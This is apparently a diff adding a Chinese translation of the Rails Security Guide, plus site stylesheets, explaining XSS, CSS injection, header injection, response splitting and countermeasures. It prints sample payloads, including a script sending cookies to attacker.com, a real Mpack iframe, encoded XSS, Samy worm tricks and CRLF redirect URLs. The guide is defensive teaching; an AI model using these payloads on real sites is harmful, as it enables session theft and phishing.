跨站脚本攻击的工作方式是这样的:攻击者注入一些代码,程序将其保存并在页面中显示出来。大多数跨站脚本只显示一个弹窗,但危险性极大。跨站脚本可以窃取 cookie,劫持会话,把用户引向虚假网站,显示广告让攻击者获利,修改网页中的元素获取机密信息,或者通过浏览器的安全漏洞安装恶意软件。

2007 年下半年,Mozilla 浏览器发现了 88 个漏洞,Safari 发现了 22 个漏洞,IE 发现了 18 个漏洞,Opera 发现了 12 个漏洞。赛门铁克全球互联网安全威胁报告指出,2007 年下半年共发现了 238 个浏览器插件导致的漏洞。对黑客来说,网页程序框架爆出的 SQL 注入漏洞很具吸引力,他们可以利用这些漏洞在数据表中的每个文本字段中插入恶意代码。2008 年 4 月,有 510000 个网站被这种方法攻破,其中英国政府和美国政府的网站是最大的目标。

一个相对较新、不常见的切入点是横幅广告。Trend Micro 的文章指出,2008 年早些时候在流行的网站(例如 MySpace 和 Excite)中发现了横幅广告中包含恶意代码。

7.3.2 HTML/JavaScript 注入

跨站脚本最常用的语言当然是使用最广泛的客户端脚本语言 JavaScript,而且经常掺有 HTML。转义用户的输入是最基本的要求。

下面是一段最直接的跨站脚本:

+
+<script>alert('Hello');</script>
+
+
+
+

上面的 JavaScript 只是显示一个提示框。下面的例子作用相同,但放在不太平常的地方:

+
+<img src=javascript:alert('Hello')>
+<table background="javascript:alert('Hello')">
+
+
+
+

上面的例子没什么危害,下面来看一下攻击者如何盗取用户 cookie(因此也能劫持会话)。在 JavaScript 中,可以使用 document.cookie 读写 cookie。JavaScript 强制使用同源原则,即一个域中的脚本无法访问另一个域中的 cookie。document.cookie 属性中保存的 cookie 来自源服务器。不过,如果直接把代码放在 HTML 文档中(就跟跨站脚本一样),就可以读写这个属性。把下面的代码放在程序的任何地方,看一下页面中显示的 cookie 值:

+
+<script>document.write(document.cookie);</script>
+
+
+
+

对攻击者来说,这么做没什么用,因为用户看到了自己的 cookie。下面这个例子会从 http://www.attacker.com/ 加载一个图片和 cookie。当然,这个地址并不存在,因此浏览器什么也不会显示。但攻击者可以查看服务器的访问日志获取用户的 cookie。

+
+<script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script>
+
+
+
+

www.attacker.com 服务器上的日志文件中可能有这么一行记录:

+
+GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2
+
+
+
+

在 cookie 中加上 httpOnly 标签可以避免这种攻击,加上 httpOnly 后,JavaScript 就无法读取 document.cookie 属性的值。IE v6.SP1、Firefox v2.0.0.5 和 Opera 9.5 都支持只能使用 HTTP 请求访问的 cookie,Safari 还在考虑这个功能,暂时会忽略这个选项。但在其他浏览器,或者旧版本的浏览器(例如 WebTV 和 Mac 系统中的 IE 5.5)中无法加载页面。有一点要注意,使用 Ajax 仍可读取 cookie

7.3.2.2 涂改

攻击者可通过网页涂改做很多事情,例如,显示错误信息,或者引导用户到攻击者的网站,偷取登录密码或者其他敏感信息。最常见的涂改方法是使用 iframe 加载外部代码:

+
+<iframe name="StatPage" src="http://58.xx.xxx.xxx/" width=5 height=5 style="display:none"></iframe>
+
+
+
+

iframe 可以从其他网站加载任何 HTML 和 JavaScript。上述 iframe 是使用 Mpack 框架攻击意大利网站的真实代码。Mpack 尝试通过浏览器的安全漏洞安装恶意软件,成功率很高,有 50% 的攻击成功了。

更特殊的攻击是完全覆盖整个网站,或者显示一个登陆框,看去来和原网站一模一样,但把用户名和密码传给攻击者的网站。还可使用 CSS 或 JavaScript 把网站中原来的链接隐藏,换上另一个链接,把用户带到仿冒网站上。

还有一种攻击方式不保存信息,把恶意代码包含在 URL 中。如果搜索表单不过滤搜索关键词,这种攻击就更容易实现。下面这个链接显示的页面中包含这句话“乔治•布什任命 9 岁男孩为主席...”:

+
+http://www.cbsnews.com/stories/2002/02/15/weather_local/main501644.shtml?zipcode=1-->
+  <script src=http://www.securitylab.ru/test/sc.js></script><!--
+
+
+
+
7.3.2.3 对策

过滤恶意输入很重要,转义输出也同样重要。

对跨站脚本来说,过滤输入值一定要使用白名单而不是黑名单。白名单指定允许输入的值。黑名单则指定不允许输入的值,无法涵盖所有禁止的值。

假设黑名单从用户的输入值中删除了 script,但如果攻击者输入 <scrscriptipt>,过滤后剩余的值是 <script>。在以前版本的 Rails 中,strip_tags()strip_links()sanitize() 方法使用黑名单。所以下面这种注入完全可行:

+
+strip_tags("some<<b>script>alert('hello')<</b>/script>")
+
+
+
+

上述方法的返回值是 some<script>alert('hello')</script>,仍然可以发起攻击。所以我才支持使用白名单,使用 Rails 2 中升级后的 sanitize() 方法:

+
+tags = %w(a acronym b strong i em li ul ol h1 h2 h3 h4 h5 h6 blockquote br cite sub sup ins p)
+s = sanitize(user_input, tags: tags, attributes: %w(href title))
+
+
+
+

这个方法只允许使用指定的标签,效果很好,能对付各种诡计和改装的标签。

而后,还要转义程序的所有输出,尤其是要转义输入时没有过滤的用户输入值(例如前面举过的搜索表单例子)。使用 escapeHTML() 方法(或者别名 h())把 HTML 中的 &"<> 字符替换成 &amp;&quot;&lt;&gt;。不过开发者很容易忘记这么做,所以推荐使用 SafeErb 插件,SafeErb 会提醒你转义外部字符串。

7.3.2.4 编码注入

网络流量大都使用有限的西文字母传输,所以后来出现了新的字符编码方式传输其他语种的字符。这也为网页程序带来了新的威胁,因为恶意代码可以隐藏在不同的编码字符中,浏览器可以处理这些编码,但网页程序不一定能处理。下面是使用 UTF-8 编码攻击的例子:

+
+<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;
+  &#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>
+
+
+
+

上面的代码会弹出一个提示框。sanitize() 方法可以识别这种代码。编码字符串的一个好用工具是 Hackvertor,使用这个工具可以做到知己知彼。Rails 的 sanitize() 方法能有效避免编码攻击。

7.3.3 真实案例

要想理解现今对网页程序的攻击方式,最好看几个真实案例。

下面的代码摘自针对 Yahoo! 邮件的蠕虫病毒,由 Js.Yamanner@m 制作,发生在 2006 年 6 月 11 日,是第一个针对网页邮件客户端的蠕虫病毒:

+
+<img src='http://us.i1.yimg.com/us.yimg.com/i/us/nt/ma/ma_mail_1.gif'
+  target=""onload="var http_request = false;    var Email = '';
+  var IDList = '';   var CRumb = '';   function makeRequest(url, Func, Method,Param) { ...
+
+
+
+

这个蠕虫病毒利用 Yahoo 的 HTML/JavaScript 过滤器漏洞。这个过滤器过滤标签中所有的 targetonload 属性,因为这两个属性的值可以是 JavaScript 代码。这个过滤器只会执行一次,所以包含蠕虫病毒代码的 onload 属性不会被过滤掉。这个例子很好的说明了黑名单很难以偏概全,也说明了在网页程序中为什么很难提供输入 HTML/JavaScript 的支持。

还有一个概念性的蠕虫是 Nduja,这个蠕虫可以跨域攻击四个意大利网页邮件服务。详情参见 Rosario Valotta 的论文。以上两种邮件蠕虫的目的都是获取 Email 地址,黑客可从中获利。

2006 年 12 月,一次 MySpace 钓鱼攻击泄露了 34000 个真实地用户名和密码。这次攻击的方式是创建一个名为“login_home_index_html”的资料页,URL 地址看起来很正常,但使用了精心制作的 HTML 和 CSS 隐藏真实的由 MySpace 生成的内容,显示了一个登录表单。

MySpace Samy 蠕虫在“CSS 注入”一节说明。

7.4 CSS 注入

CSS 注入其实就是 JavaScript 注入,因为有些浏览器(IE,某些版本的 Safari 等)允许在 CSS 中使用 JavaScript。允许在程序中使用自定义的 CSS 时一定要三思。

CSS 注入的原理可以通过有名的 MySpace Samy 蠕虫说明。访问 Samy(攻击者)的 MySpace 资料页时会自动向 Samy 发出好友请求。几小时之内 Samy 就收到了超过一百万个好友请求,消耗了 MySpace 大量流量,导致网站瘫痪。下面从技术层面分析这个蠕虫。

MySpace 禁止使用很多标签,但却允许使用 CSS。所以,蠕虫的作者按照下面的方式在 CSS 中加入了 JavaScript 代码:

+
+<div style="background:url('/service/javascript:alert(1)')">
+
+
+
+

因此问题的关键是 style 属性,但属性的值中不能含有引号,因为单引号和双引号都已经使用了。但是 JavaScript 中有个很实用的 eval() 函数,可以执行任意字符串:

+
+<div id="mycode" expr="alert('hah!')" style="background:url('/service/javascript:eval(document.all.mycode.expr)')">
+
+
+
+

eval() 函数对黑名单过滤来说是个噩梦,可以把 innerHTML 隐藏在 style 属性中:

+
+alert(eval('document.body.inne' + 'rHTML'));
+
+
+
+

MySpace 会过滤 javascript 这个词,所以蠕虫作者使用 java<NEWLINE>script 绕过了这个限制:

+
+<div id="mycode" expr="alert('hah!')" style="background:url('java↵
script:eval(document.all.mycode.expr)')">
+
+
+
+

蠕虫作者面对的另一个问题是 CSRF 安全权标。没有安全权标就无法通过 POST 请求发送好友请求。蠕虫作者先向页面发起 GET 请求,然后再添加用户,处理 CSRF 权标。

最终,只用 4KB 空间就写好了这个蠕虫,注入到自己的资料页面。

CSS 中的 moz-binding 属性也被证实可在基于 Gecko 的浏览器(例如 Firefox)中把 Javascript 写入 CSS 中。

7.4.1 对策

这个例子再次证明黑名单不能以偏概全。自定义 CSS 在网页程序中是个很少见的功能,因此我也不知道怎么编写 CSS 白名单过滤器。如果想让用户自定义颜色或图片,可以让用户选择颜色或图片,再由网页程序生成 CSS。如果真的需要 CSS 白名单过滤器,可以使用 Rails 的 sanitize() 方法。

7.5 Textile 注入

如果想提供 HTML 之外的文本格式化方式(基于安全考虑),可以使用能转换为 HTML 的标记语言。RedCloth 就是一种使用 Ruby 编写的转换工具。使用前要注意,RedCloth 也有跨站脚本漏洞。

例如,RedCloth 会把 _test_ 转换成 <em>test</em>,斜体显示文字。不过到最新的 3.0.4 版本,仍然有跨站脚本漏洞。请安装已经解决安全问题的全新第 4 版。可是这个版本还有一些安全隐患。下面的例子针对 V3.0.4:

+
+RedCloth.new('<script>alert(1)</script>').to_html
+# => "<script>alert(1)</script>"
+
+
+
+

使用 :filter_html 选项可以过滤不是由 RedCloth 生成的 HTML:

+
+RedCloth.new('<script>alert(1)</script>', [:filter_html]).to_html
+# => "alert(1)"
+
+
+
+

不过,这个选项不能过滤全部的 HTML,会留下一些标签(程序就是这样设计的),例如 <a>

+
+RedCloth.new("<a href='/service/javascript:alert(1)'>hello</a>", [:filter_html]).to_html
+# => "<p><a href="/service/javascript:alert(1)">hello</a></p>"
+
+
+
+
7.5.1 对策

建议使用 RedCloth 时要同时使用白名单过滤输入值,这一点在应对跨站脚本攻击时已经说过。

7.6 Ajax 注入

在常规动作上运用的安全预防措施在 Ajax 动作上也要使用。不过有一个例外:如果动作不渲染视图,在控制器中就要做好转义。

如果使用 in_place_editor 插件,或者动作不渲染视图只返回字符串,就要在动作中转义返回值。否则,如果返回值中包含跨站脚本,发送到浏览器时就会执行。请使用 h() 方法转义所有输入值。

7.7 命令行注入

使用用户输入的命令行参数时要小心。

如果程序要在操作系统层面执行命令,可以使用 Ruby 提供的几个方法:exec(command)syscall(command)system(command)command。如果用户可以输入整个命令,或者命令的一部分,这时就要特别注意。因为在大多数 shell 中,两个命令可以写在一起,使用分号(;)或者竖线(|)连接。

为了避免这类问题,可以使用 system(command, parameters) 方法,这样传入的命令行参数更安全。

+
+system("/bin/echo","hello; rm *")
+# prints "hello; rm *" and does not delete files
+
+
+
+

7.8 报头注入

HTTP 报头是动态生成的,某些情况下可能会包含用户注入的值,导致恶意重定向、跨站脚本或者 HTTP 响应拆分(HTTP response splitting)。

HTTP 请求报头中包含 RefererUser-Agent(客户端软件)和 Cookie 等字段。响应报头中包含状态码,CookieLocation(重定向的目标 URL)等字段。这些字段都由用户提供,可以轻易修改。记住,报头也要转义。例如,在管理页面中显示 User-Agent 时。

除此之外,基于用户输入值构建响应报头时还要格外小心。例如,把用户重定向到指定的页面。重定向时需要在表单中加入 referer 字段:

+
+redirect_to params[:referer]
+
+
+
+

Rails 会把这个字段的值提供给 Location 报头,并向浏览器发送 302(重定向)状态码。恶意用户可以做的第一件事是:

+
+http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld
+
+
+
+

Rails 2.1.2 之前有个漏洞,黑客可以注入任意的报头字段,例如:

+
+http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld%0d%0aX-Header:+Hi!
+http://www.yourapplication.com/controller/action?referer=path/at/your/app%0d%0aLocation:+http://www.malicious.tld
+
+
+
+

注意,%0d%0a 是编码后的 \r\n,在 Ruby 中表示回车换行(CRLF)。上面的例子得到的 HTTP 报头如下所示,第二个 Location 覆盖了第一个:

+
+HTTP/1.1 302 Moved Temporarily
+(...)
+Location: http://www.malicious.tld
+
+
+
+

报头注入就是在报头中注入 CRLF 字符。那么攻击者是怎么进行恶意重定向的呢?攻击者可以把用户重定向到钓鱼网站,要求再次登录,把登录密令发送给攻击者。或者可以利用浏览器的安全漏洞在网站中安装恶意软件。Rails 2.1.2 在 redirect_to 方法中转义了传给 Location 报头的值。使用用户的输入值构建报头时要手动进行转义。

7.8.1 响应拆分

既然报头注入有可能发生,响应拆分也有可能发生。在 HTTP 响应中,报头后面跟着两个 CRLF,然后是真正的数据(HTML)。响应拆分的原理是在报头中插入两个 CRLF,后跟其他的响应,包含恶意 HTML。响应拆分示例:

+
+HTTP/1.1 302 Found [First standard 302 response]
+Date: Tue, 12 Apr 2005 22:09:07 GMT
+Location:
Content-Type: text/html
+
+
+HTTP/1.1 200 OK [Second New response created by attacker begins]
+Content-Type: text/html
+
+
+&lt;html&gt;&lt;font color=red&gt;hey&lt;/font&gt;&lt;/html&gt; [Arbitary malicious input is
+Keep-Alive: timeout=15, max=100         shown as the redirected page]
+Connection: Keep-Alive
+Transfer-Encoding: chunked
+Content-Type: text/html
+
+
+
+

某些情况下,拆分后的响应会把恶意 HTML 显示给用户。不过这只会在 Keep-Alive 连接中发生,大多数浏览器都使用一次性连接。但你不能依赖这一点。不管怎样这都是个严重的隐患,你需要升级到 Rails 最新版,消除报头注入风险(因此也就避免了响应拆分)。

8 生成的不安全查询

根据 Active Record 处理参数的方式以及 Rack 解析请求参数的方式,攻击者可以通过 WHERE IS NULL 子句发起异常数据库查询。为了应对这种安全隐患(CVE-2012-2660CVE-2012-2694CVE-2013-0155),Rails 加入了 deep_munge 方法,增加安全性。

如果不使用 deep_munge 方法,下面的代码有被攻击的风险:

+
+unless params[:token].nil?
+  user = User.find_by_token(params[:token])
+  user.reset_password!
+end
+
+
+
+

如果 params[:token] 的值是 [][nil][nil, nil, ...]['foo', nil] 之一,会跳过 nil? 检查,但 WHERE 子句 IS NULLIN ('foo', NULL) 还是会添加到 SQL 查询中。

为了保证 Rails 的安全性,deep_munge 方法会把某些值替换成 nil。下表显示在请求中发送 JSON 格式数据时得到的参数:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
JSON参数
{ "person": null }{ :person => nil }
{ "person": [] }{ :person => nil }
{ "person": [null] }{ :person => nil }
{ "person": [null, null, ...] }{ :person => nil }
{ "person": ["foo", null] }{ :person => ["foo"] }
+

如果知道这种风险,也知道如何处理,可以通过设置禁用 deep_munge,使用原来的处理方式:

+
+config.action_dispatch.perform_deep_munge = false
+
+
+
+

9 默认报头

Rails 程序返回的每个 HTTP 响应都包含下面这些默认的安全报头:

+
+config.action_dispatch.default_headers = {
+  'X-Frame-Options' => 'SAMEORIGIN',
+  'X-XSS-Protection' => '1; mode=block',
+  'X-Content-Type-Options' => 'nosniff'
+}
+
+
+
+

默认的报头可在文件 config/application.rb 中设置:

+
+config.action_dispatch.default_headers = {
+  'Header-Name' => 'Header-Value',
+  'X-Frame-Options' => 'DENY'
+}
+
+
+
+

当然也可删除默认报头:

+
+config.action_dispatch.default_headers.clear
+
+
+
+

下面是一些常用的报头:

+
    +
  • +X-Frame-Options:Rails 中的默认值是 SAMEORIGIN,允许使用同域中的 iframe。设为 DENY 可以完全禁止使用 iframe。如果允许使用所有网站的 iframe,可以设为 ALLOWALL
  • +
  • +X-XSS-Protection:Rails 中的默认值是 1; mode=block,使用跨站脚本审查程序,如果发现跨站脚本攻击就不显示网页。如果想关闭跨站脚本审查程序,可以设为 0;(如果响应中包含请求参数中传入的脚本)。
  • +
  • +X-Content-Type-Options:Rails 中的默认值是 nosniff,禁止浏览器猜测文件的 MIME 类型。
  • +
  • +X-Content-Security-Policy:一种强大的机制,控制可以从哪些网站加载特定类型的内容。
  • +
  • +Access-Control-Allow-Origin:设置哪些网站可以不沿用同源原则,发送跨域请求。
  • +
  • +Strict-Transport-Security:设置是否强制浏览器使用安全连接访问网站。
  • +
+

10 环境相关的安全问题

增加程序代码和环境安全性的话题已经超出了本文范围。但记住要保护好数据库设置(config/database.yml)以及服务器端密令(config/secrets.yml)。更进一步,为了安全,这两个文件以及其他包含敏感数据的文件还可使用环境专用版本。

11 其他资源

安全漏洞层出不穷,所以一定要了解最新信息,新的安全漏洞可能会导致灾难性的后果。安全相关的信息可从下面的网站获取:

+ + + +

反馈

+

+ 欢迎帮忙改善指南质量。 +

+

+ 如发现任何错误,欢迎修正。开始贡献前,可先行阅读贡献指南:文档。 +

+

翻译如有错误,深感抱歉,欢迎 Fork 修正,或至此处回报

+

+ 文章可能有未完成或过时的内容。请先检查 Edge Guides 来确定问题在 master 是否已经修掉了。再上 master 补上缺少的文件。内容参考 Ruby on Rails 指南准则来了解行文风格。 +

+

最后,任何关于 Ruby on Rails 文档的讨论,欢迎到 rubyonrails-docs 邮件群组。 +

+
+
+
+ +
+ + + + + + + + + + + + + + diff --git a/v4.1/stylesheets/fixes.css b/v4.1/stylesheets/fixes.css new file mode 100644 index 0000000..bf86b29 --- /dev/null +++ b/v4.1/stylesheets/fixes.css @@ -0,0 +1,16 @@ +/* + Fix a rendering issue affecting WebKits on Mac. + See https://github.com/lifo/docrails/issues#issue/16 for more information. +*/ +.syntaxhighlighter a, +.syntaxhighlighter div, +.syntaxhighlighter code, +.syntaxhighlighter table, +.syntaxhighlighter table td, +.syntaxhighlighter table tr, +.syntaxhighlighter table tbody, +.syntaxhighlighter table thead, +.syntaxhighlighter table caption, +.syntaxhighlighter textarea { + line-height: 1.25em !important; +} diff --git a/v4.1/stylesheets/kindle.css b/v4.1/stylesheets/kindle.css new file mode 100644 index 0000000..b26cd17 --- /dev/null +++ b/v4.1/stylesheets/kindle.css @@ -0,0 +1,11 @@ +p { text-indent: 0; } + +p, H1, H2, H3, H4, H5, H6, H7, H8, table { margin-top: 1em;} + +.pagebreak { page-break-before: always; } +#toc H3 { + text-indent: 1em; +} +#toc .document { + text-indent: 2em; +} \ No newline at end of file diff --git a/v4.1/stylesheets/main.css b/v4.1/stylesheets/main.css new file mode 100644 index 0000000..46bfbfd --- /dev/null +++ b/v4.1/stylesheets/main.css @@ -0,0 +1,713 @@ +/* Guides.rubyonrails.org */ +/* Main.css */ +/* Created January 30, 2009 */ +/* Modified February 8, 2009 +--------------------------------------- */ + +/* General +--------------------------------------- */ + +.left {float: left; margin-right: 1em;} +.right {float: right; margin-left: 1em;} +@media screen and (max-width: 480px) { + .left, .right { float: none; } +} +.small {font-size: smaller;} +.large {font-size: larger;} +.hide {display: none;} + +li ul, li ol { margin:0 1.5em; } +ul, ol { margin: 0 1.5em 1.5em 1.5em; } + +ul { list-style-type: disc; } +ol { list-style-type: decimal; } + +dl { margin: 0 0 1.5em 0; } +dl dt { font-weight: bold; } +dd { margin-left: 1.5em;} + +pre, code { + font-size: 1em; + font-family: "Anonymous Pro", "Inconsolata", "Menlo", "Consolas", "Bitstream Vera Sans Mono", "Courier New", monospace; + line-height: 1.5; + margin: 1.5em 0; + overflow: auto; + color: #222; +} +pre,tt,code,.note>p { + white-space: pre-wrap; /* css-3 */ + white-space: -moz-pre-wrap !important; /* Mozilla, since 1999 */ + white-space: -pre-wrap; /* Opera 4-6 */ + white-space: -o-pre-wrap; /* Opera 7 */ + word-wrap: break-word; /* Internet Explorer 5.5+ */ +} + +abbr, acronym { border-bottom: 1px dotted #666; } +address { margin: 0 0 1.5em; font-style: italic; } +del { color:#666; } + +blockquote { margin: 1.5em; color: #666; font-style: italic; } +strong { font-weight: bold; } +em, dfn { font-style: italic; } +dfn { font-weight: bold; } +sup, sub { line-height: 0; } +p {margin: 0 0 1.5em;} + +label { font-weight: bold; } +fieldset { padding:1.4em; margin: 0 0 1.5em 0; border: 1px solid #ccc; } +legend { font-weight: bold; font-size:1.2em; } + +input.text, input.title, +textarea, select { + margin:0.5em 0; + border:1px solid #bbb; +} + +table { + margin: 0 0 1.5em; + border: 2px solid #CCC; + background: #FFF; + border-collapse: collapse; +} + +table th, table td { + padding: 0.25em 1em; + border: 1px solid #CCC; + border-collapse: collapse; +} + +table th { + border-bottom: 2px solid #CCC; + background: #EEE; + font-weight: bold; + padding: 0.5em 1em; +} + +img { + max-width: 100%; +} + + +/* Structure and Layout +--------------------------------------- */ + +body { + text-align: center; + font-family: Helvetica, Arial, sans-serif; + font-size: 87.5%; + line-height: 1.5em; + background: #fff; + color: #999; +} + +.wrapper { + text-align: left; + margin: 0 auto; + max-width: 960px; + padding: 0 1em; +} + +.red-button { + display: inline-block; + border-top: 1px solid rgba(255,255,255,.5); + background: #751913; + background: -webkit-gradient(linear, left top, left bottom, from(#c52f24), to(#751913)); + background: -webkit-linear-gradient(top, #c52f24, #751913); + background: -moz-linear-gradient(top, #c52f24, #751913); + background: -ms-linear-gradient(top, #c52f24, #751913); + background: -o-linear-gradient(top, #c52f24, #751913); + padding: 9px 18px; + -webkit-border-radius: 11px; + -moz-border-radius: 11px; + border-radius: 11px; + -webkit-box-shadow: rgba(0,0,0,1) 0 1px 0; + -moz-box-shadow: rgba(0,0,0,1) 0 1px 0; + box-shadow: rgba(0,0,0,1) 0 1px 0; + text-shadow: rgba(0,0,0,.4) 0 1px 0; + color: white; + font-size: 15px; + font-family: Helvetica, Arial, Sans-Serif; + text-decoration: none; + vertical-align: middle; + cursor: pointer; +} +.red-button:active { + border-top: none; + padding-top: 10px; + background: -webkit-gradient(linear, left top, left bottom, from(#751913), to(#c52f24)); + background: -webkit-linear-gradient(top, #751913, #c52f24); + background: -moz-linear-gradient(top, #751913, #c52f24); + background: -ms-linear-gradient(top, #751913, #c52f24); + background: -o-linear-gradient(top, #751913, #c52f24); +} + +#topNav { + padding: 1em 0; + color: #565656; + background: #222; +} + +.s-hidden { + display: none; +} + +@media screen and (min-width: 1025px) { + .more-info-button { + display: none; + } + .more-info-links { + list-style: none; + display: inline; + margin: 0; + } + + .more-info { + display: inline-block; + } + .more-info:after { + content: " |"; + } + + .more-info:last-child:after { + content: ""; + } +} + +@media screen and (max-width: 1024px) { + #topNav .wrapper { text-align: center; } + .more-info-button { + position: relative; + z-index: 25; + } + + .more-info-label { + display: none; + } + + .more-info-container { + position: absolute; + top: .5em; + z-index: 20; + margin: 0 auto; + left: 0; + right: 0; + width: 20em; + } + + .more-info-links { + display: block; + list-style: none; + background-color: #c52f24; + border-radius: 5px; + padding-top: 5.25em; + border: 1px #980905 solid; + } + .more-info-links.s-hidden { + display: none; + } + .more-info { + padding: .75em; + border-top: 1px #980905 solid; + } + .more-info a, .more-info a:link, .more-info a:visited { + display: block; + color: white; + width: 100%; + height: 100%; + text-decoration: none; + text-transform: uppercase; + } +} + +#header { + background: #c52f24 url(http://github.com/images/header_tile.gif) repeat-x; + color: #FFF; + padding: 1.5em 0; + z-index: 99; +} + +#feature { + background: #d5e9f6 url(http://github.com/images/feature_tile.gif) repeat-x; + color: #333; + padding: 0.5em 0 1.5em; +} + +#container { + color: #333; + padding: 0.5em 0 1.5em 0; +} + +#mainCol { + max-width: 630px; + margin-left: 2em; +} + +#subCol { + position: absolute; + z-index: 0; + top: 21px; + right: 0; + background: #FFF; + padding: 1em 1.5em 1em 1.25em; + width: 17em; + font-size: 0.9285em; + line-height: 1.3846em; + margin-right: 1em; +} + + +@media screen and (max-width: 800px) { + #subCol { + position: static; + width: inherit; + margin-left: -1em; + margin-right: 0; + padding-right: 1.25em; + } +} + +#extraCol {display: none;} + +#footer { + padding: 2em 0; + background: #222 url(http://github.com/images/footer_tile.gif) repeat-x; +} +#footer .wrapper { + padding-left: 1em; + max-width: 960px; +} + +#header .wrapper, #topNav .wrapper, #feature .wrapper {padding-left: 1em; max-width: 960px;} +#feature .wrapper {max-width: 640px; padding-right: 23em; position: relative; z-index: 0;} + +@media screen and (max-width: 800px) { + #feature .wrapper { padding-right: 0; } +} + +/* Links +--------------------------------------- */ + +a, a:link, a:visited { + color: #ee3f3f; + text-decoration: underline; +} + +#mainCol a, #subCol a, #feature a {color: #980905;} +#mainCol a code, #subCol a code, #feature a code {color: #980905;} + +/* Navigation +--------------------------------------- */ + +.nav { + margin: 0; + padding: 0; + list-style: none; + float: right; + margin-top: 1.5em; + font-size: 1.2857em; +} + +.nav .nav-item {color: #FFF; text-decoration: none;} +.nav .nav-item:hover {text-decoration: underline;} + +.guides-index-large, .guides-index-small .guides-index-item { + padding: 0.5em 1.5em; + border-radius: 1em; + -webkit-border-radius: 1em; + -moz-border-radius: 1em; + background: #980905; + position: relative; + color: white; +} + +.guides-index .guides-index-item { + background: #980905 url(http://github.com/images/nav_arrow.gif) no-repeat right top; + padding-right: 1em; + position: relative; + z-index: 15; + padding-bottom: 0.125em; +} + +.guides-index:hover .guides-index-item, .guides-index .guides-index-item:hover { + background-position: right -81px; + text-decoration: underline !important; +} + +@media screen and (min-width: 481px) { + .nav { + float: right; + margin-top: 1.5em; + font-size: 1.2857em; + } + .nav>li { + display: inline; + margin-left: 0.5em; + } + .guides-index.guides-index-small { + display: none; + } +} + +@media screen and (max-width: 480px) { + .nav { + float: none; + width: 100%; + text-align: center; + } + .nav .nav-item { + display: block; + margin: 0; + width: 100%; + background-color: #980905; + border: solid 1px #620c04; + border-top: 0; + padding: 15px 0; + text-align: center; + } + .nav .nav-item, .nav-item.guides-index-item { + text-transform: uppercase; + } + .nav .nav-item:first-child, .nav-item.guides-index-small { + border-top: solid 1px #620c04; + } + .guides-index.guides-index-small { + display: block; + margin-top: 1.5em; + } + .guides-index.guides-index-large { + display: none; + } + .guides-index-small .guides-index-item { + font: inherit; + padding-left: .75em; + font-size: .95em; + background-position: 96% 16px; + -webkit-appearance: none; + } + .guides-index-small .guides-index-item:hover{ + background-position: 96% -65px; + } +} + +#guides { + width: 27em; + display: block; + background: #980905; + border-radius: 1em; + -webkit-border-radius: 1em; + -moz-border-radius: 1em; + -webkit-box-shadow: 0.25em 0.25em 1em rgba(0,0,0,0.25); + -moz-box-shadow: rgba(0,0,0,0.25) 0.25em 0.25em 1em; + color: #f1938c; + padding: 1.5em 2em; + position: absolute; + z-index: 10; + top: -0.25em; + right: 0; + padding-top: 2em; +} + +#guides dt, #guides dd { + font-weight: normal; + font-size: 0.722em; + margin: 0; + padding: 0; +} +#guides dt {padding:0; margin: 0.5em 0 0;} +#guides a {color: #FFF; background: none !important; text-decoration: none;} +#guides a:hover {text-decoration: underline;} +#guides .L, #guides .R {float: left; width: 50%; margin: 0; padding: 0;} +#guides .R {float: right;} +#guides hr { + display: block; + border: none; + height: 1px; + color: #f1938c; + background: #f1938c; +} + +/* Headings +--------------------------------------- */ + +h1 { + font-size: 2.5em; + line-height: 1em; + margin: 0.6em 0 .2em; + font-weight: bold; +} + +h2 { + font-size: 2.1428em; + line-height: 1em; + margin: 0.7em 0 .2333em; + font-weight: bold; +} + +@media screen and (max-width: 480px) { + h2 { + font-size: 1.45em; + } +} + +h3 { + font-size: 1.7142em; + line-height: 1.286em; + margin: 0.875em 0 0.2916em; + font-weight: bold; +} + +@media screen and (max-width: 480px) { + h3 { + font-size: 1.45em; + } +} + +h4 { + font-size: 1.2857em; + line-height: 1.2em; + margin: 1.6667em 0 .3887em; + font-weight: bold; +} + +h5 { + font-size: 1em; + line-height: 1.5em; + margin: 1em 0 .5em; + font-weight: bold; +} + +h6 { + font-size: 1em; + line-height: 1.5em; + margin: 1em 0 .5em; + font-weight: normal; +} + +.section { + padding-bottom: 0.25em; + border-bottom: 1px solid #999; +} + +/* Content +--------------------------------------- */ + +.pic { + margin: 0 2em 2em 0; +} + +#topNav strong {color: #999; margin-right: 0.5em;} +#topNav strong a {color: #FFF;} + +#header h1 { + float: left; + background: url(http://github.com/images/rails_guides_logo.gif) no-repeat; + width: 297px; + text-indent: -9999em; + margin: 0; + padding: 0; +} + +@media screen and (max-width: 480px) { + #header h1 { + float: none; + } +} + +#header h1 a { + text-decoration: none; + display: block; + height: 77px; +} + +#feature p { + font-size: 1.2857em; + margin-bottom: 0.75em; +} + +@media screen and (max-width: 480px) { + #feature p { + font-size: 1em; + } +} + +#feature ul {margin-left: 0;} +#feature ul li { + list-style: none; + background: url(http://github.com/images/check_bullet.gif) no-repeat left 0.5em; + padding: 0.5em 1.75em 0.5em 1.75em; + font-size: 1.1428em; + font-weight: bold; +} + +#mainCol dd, #subCol dd { + padding: 0.25em 0 1em; + border-bottom: 1px solid #CCC; + margin-bottom: 1em; + margin-left: 0; + /*padding-left: 28px;*/ + padding-left: 0; +} + +#mainCol dt, #subCol dt { + font-size: 1.2857em; + padding: 0.125em 0 0.25em 0; + margin-bottom: 0; + /*background: url(http://github.com/images/book_icon.gif) no-repeat left top; + padding: 0.125em 0 0.25em 28px;*/ +} + +@media screen and (max-width: 480px) { + #mainCol dt, #subCol dt { + font-size: 1em; + } +} + +#mainCol dd.work-in-progress, #subCol dd.work-in-progress { + background: #fff9d8 url(http://github.com/images/tab_yellow.gif) no-repeat left top; + border: none; + padding: 1.25em 1em 1.25em 48px; + margin-left: 0; + margin-top: 0.25em; +} + +#mainCol dd.kindle, #subCol dd.kindle { + background: #d5e9f6 url(http://github.com/images/tab_info.gif) no-repeat left top; + border: none; + padding: 1.25em 1em 1.25em 48px; + margin-left: 0; + margin-top: 0.25em; +} + +#mainCol div.warning, #subCol dd.warning { + background: #f9d9d8 